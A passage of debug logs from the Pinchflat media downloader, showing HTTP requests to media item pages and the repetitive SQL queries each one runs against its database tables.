m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:18.333 [info] Sent 200 in 25ms 17:42:18.804 [info] GET /sources/1/media/1575029/edit 17:42:18.804 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1575029", "source_id" => "1"} Pipelines: [:browser] 17:42:18.805 [debug] QUERY OK source="media_items" db=0.1ms idle=473.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575029] 17:42:18.805 [debug] QUERY OK source="settings" db=0.0ms idle=473.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:18.805 [debug] QUERY OK source="settings" db=0.0ms idle=473.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:18.805 [debug] QUERY OK source="settings" db=0.0ms idle=473.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:18.806 [info] Sent 200 in 1ms 17:42:19.306 [info] GET /sources/6/media/1577416 17:42:19.306 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577416", "source_id" => "6"} Pipelines: [:browser] 17:42:19.306 [debug] QUERY OK source="media_items" db=0.1ms idle=862.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577416] 17:42:19.306 [debug] QUERY OK source="tasks" db=0.0ms idle=501.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577416] 17:42:19.306 [debug] QUERY OK source="sources" db=0.1ms idle=501.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:42:19.307 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=501.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5241994] 17:42:19.307 [debug] QUERY OK source="settings" db=0.0ms idle=501.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:19.307 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:19.307 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:19.307 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:19.308 [info] Sent 200 in 2ms 17:42:19.810 [info] GET /sources/1/media/1576254 17:42:19.810 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1576254", "source_id" => "1"} Pipelines: [:browser] 17:42:19.811 [debug] QUERY OK source="media_items" db=0.1ms idle=503.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576254] 17:42:19.811 [debug] QUERY OK source="sources" db=0.1ms idle=503.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:19.850 [debug] QUERY OK source="tasks" db=39.0ms idle=503.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1576254] 17:42:19.864 [debug] QUERY OK source="oban_jobs" db=7.9ms idle=548.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5137661, 5137681, 5137747, 5137807, 5137867, 5137928, 5137988, 5138049, 5138109, 5138169, 5138229, 5138289, 5138349, 5138409, 5138469, 5138529, 5138589, 5138649, 5138709, 5138770, 5138830, 5138890, 5138950, 5139010, 5139070, 5139130, 5139190, 5139250, 5139310, 5139370, 5139430, 5139490, 5139550, 5139610, 5139670, 5139730, 5139790, 5139850, 5139910, 5139970, 5140030, 5140090, 5140151, 5140211, 5140271, 5140331, 5140391, 5140451, 5140511, 5140571, ...] 17:42:19.879 [debug] QUERY OK source="settings" db=0.0ms idle=434.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:19.879 [debug] QUERY OK source="settings" db=0.0ms idle=68.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:19.880 [debug] QUERY OK source="settings" db=0.0ms idle=68.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:19.880 [debug] QUERY OK source="media_profiles" db=0.0ms idle=30.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:19.946 [info] Sent 200 in 136ms 17:42:20.309 [info] GET /sources/1/media/1575032/edit 17:42:20.309 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1575032", "source_id" => "1"} Pipelines: [:browser] 17:42:20.310 [debug] QUERY OK source="media_items" db=0.1ms idle=445.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575032] 17:42:20.310 [debug] QUERY OK source="settings" db=0.0ms idle=430.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:20.310 [debug] QUERY OK source="settings" db=0.0ms idle=430.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:20.310 [debug] QUERY OK source="settings" db=0.0ms idle=430.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:20.311 [info] Sent 200 in 1ms 17:42:20.809 [info] GET /sources/45/media/1577469 17:42:20.809 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577469", "source_id" => "45"} Pipelines: [:browser] 17:42:20.810 [debug] QUERY OK source="media_items" db=0.1ms idle=500.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577469] 17:42:20.810 [debug] QUERY OK source="tasks" db=0.1ms idle=500.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577469] 17:42:20.810 [debug] QUERY OK source="sources" db=0.1ms idle=499.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:42:20.810 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=499.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5242025] 17:42:20.810 [debug] QUERY OK source="settings" db=0.0ms idle=364.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:20.811 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:20.811 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:20.811 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:20.812 [info] Sent 200 in 2ms 17:42:21.313 [info] GET /sources/1/media/1576242 17:42:21.313 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1576242", "source_id" => "1"} Pipelines: [:browser] 17:42:21.314 [debug] QUERY OK source="media_items" db=0.1ms idle=503.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576242] 17:42:21.314 [debug] QUERY OK source="sources" db=0.0ms idle=503.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:21.340 [debug] QUERY OK source="tasks" db=25.8ms idle=503.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1576242] 17:42:21.391 [debug] QUERY OK source="oban_jobs" db=47.8ms idle=531.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?